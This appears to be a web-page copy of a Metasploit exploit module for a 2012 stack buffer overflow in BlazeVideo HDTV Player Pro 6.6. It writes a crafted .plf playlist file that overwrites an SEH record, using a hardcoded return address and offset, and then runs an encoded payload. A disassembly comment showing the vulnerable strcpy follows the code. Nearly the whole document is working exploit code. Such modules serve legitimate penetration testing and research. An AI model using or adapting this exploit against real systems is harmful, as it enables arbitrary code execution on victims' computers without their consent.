Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/fileformat/blazedvd_hdtv_bof.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::FILEFORMAT9include Msf::Exploit::Remote::Seh1011def initialize(info={})12super(update_info(info,13'Name' => "BlazeVideo HDTV Player Pro v6.6 Filename Handling Vulnerability",14'Description' => %q{15This module exploits a vulnerability found in BlazeVideo HDTV Player's filename16handling routine. When supplying a string of input data embedded in a .plf file,17the MediaPlayerCtrl.dll component will try to extract a filename by using18PathFindFileNameA(), and then copies whatever the return value is on the stack by19using an inline strcpy. As a result, if this input data is long enough, it can cause20a stack-based buffer overflow, which may lead to arbitrary code execution under the21context of the user.22},23'License' => MSF_LICENSE,24'Author' =>25[26'b33f', #Original27'sinn3r' #Metasploit28],29'References' =>30[31['OSVDB', '80896'],32['EDB', '18693'],33['EDB', '22931']34],35'Payload' =>36{37'BadChars' => "\x00\x0a\x1a\x2f\x3a\x5c",38'StackAdjustment' => -350039},40'DefaultOptions' =>41{42'EXITFUNC' => 'thread'43},44'Platform' => 'win',45'Targets' =>46[47# MediaPlayerCtrl.dll P/P/R48# Tested on: Windows 7 SP1/SP0, Windows XP SP3 / Windows Vista SP2/SP1/SP049['BlazeVideo HDTV Player Pro v6.6.0.3', {'Ret'=>0x64020327, 'Offset'=>868}]50],51'Privileged' => false,52'DisclosureDate' => '2012-04-03',53'DefaultTarget' => 0))5455register_options(56[57OptString.new('FILENAME', [ false, 'The file name.', 'msf.plf'])58])59end6061def exploit62buf = 'http://'63buf << rand_text_alpha_upper(target['Offset'])64buf << generate_seh_record(target.ret)65buf << payload.encoded66buf << rand_text_alpha(5000-buf.length)6768print_status("Creating '#{datastore['FILENAME']}'...")69file_create(buf)70end71end7273=begin74Version: HDTV Player Professional v6.67576In MediaPlayerCtrl.dll (File version: 2.0.0.2; Product version: 2.0.0.2)77.text:6400E574 mov eax, [esp+138h+Source]78.text:6400E578 mov edx, [ebp+0ECh]79.text:6400E57E push eax80.text:6400E57F push eax ; pszPath <-- Our URL81.text:6400E580 mov edi, [edx]82.text:6400E582 call ebx ; PathFindFileNameA83.text:6400E584 mov ecx, [ebp+0ECh]84.text:6400E58A push eax ; File path to copy85.text:6400E58B push esi86.text:6400E58C push 187.text:6400E58E call dword ptr [edi] ; 0x6400f1f088890x6400F1F0 (no length check either) goes down to 0x6400F670:9091int __thiscall sub_6400F670(int this, int a2, int a3, const char *source, const char *a5)92{93...9495v5 = this;96if ( a2 && source && a5 )97{98memset(&buffer, 0, '\x02\x10');99v16 = *(this + 4);100*(this + 4) = v16 + 1;101v18 = a3;102buffer = a2;103strcpy(&Dest2, source); // <-- This is a rep movs104=end105106107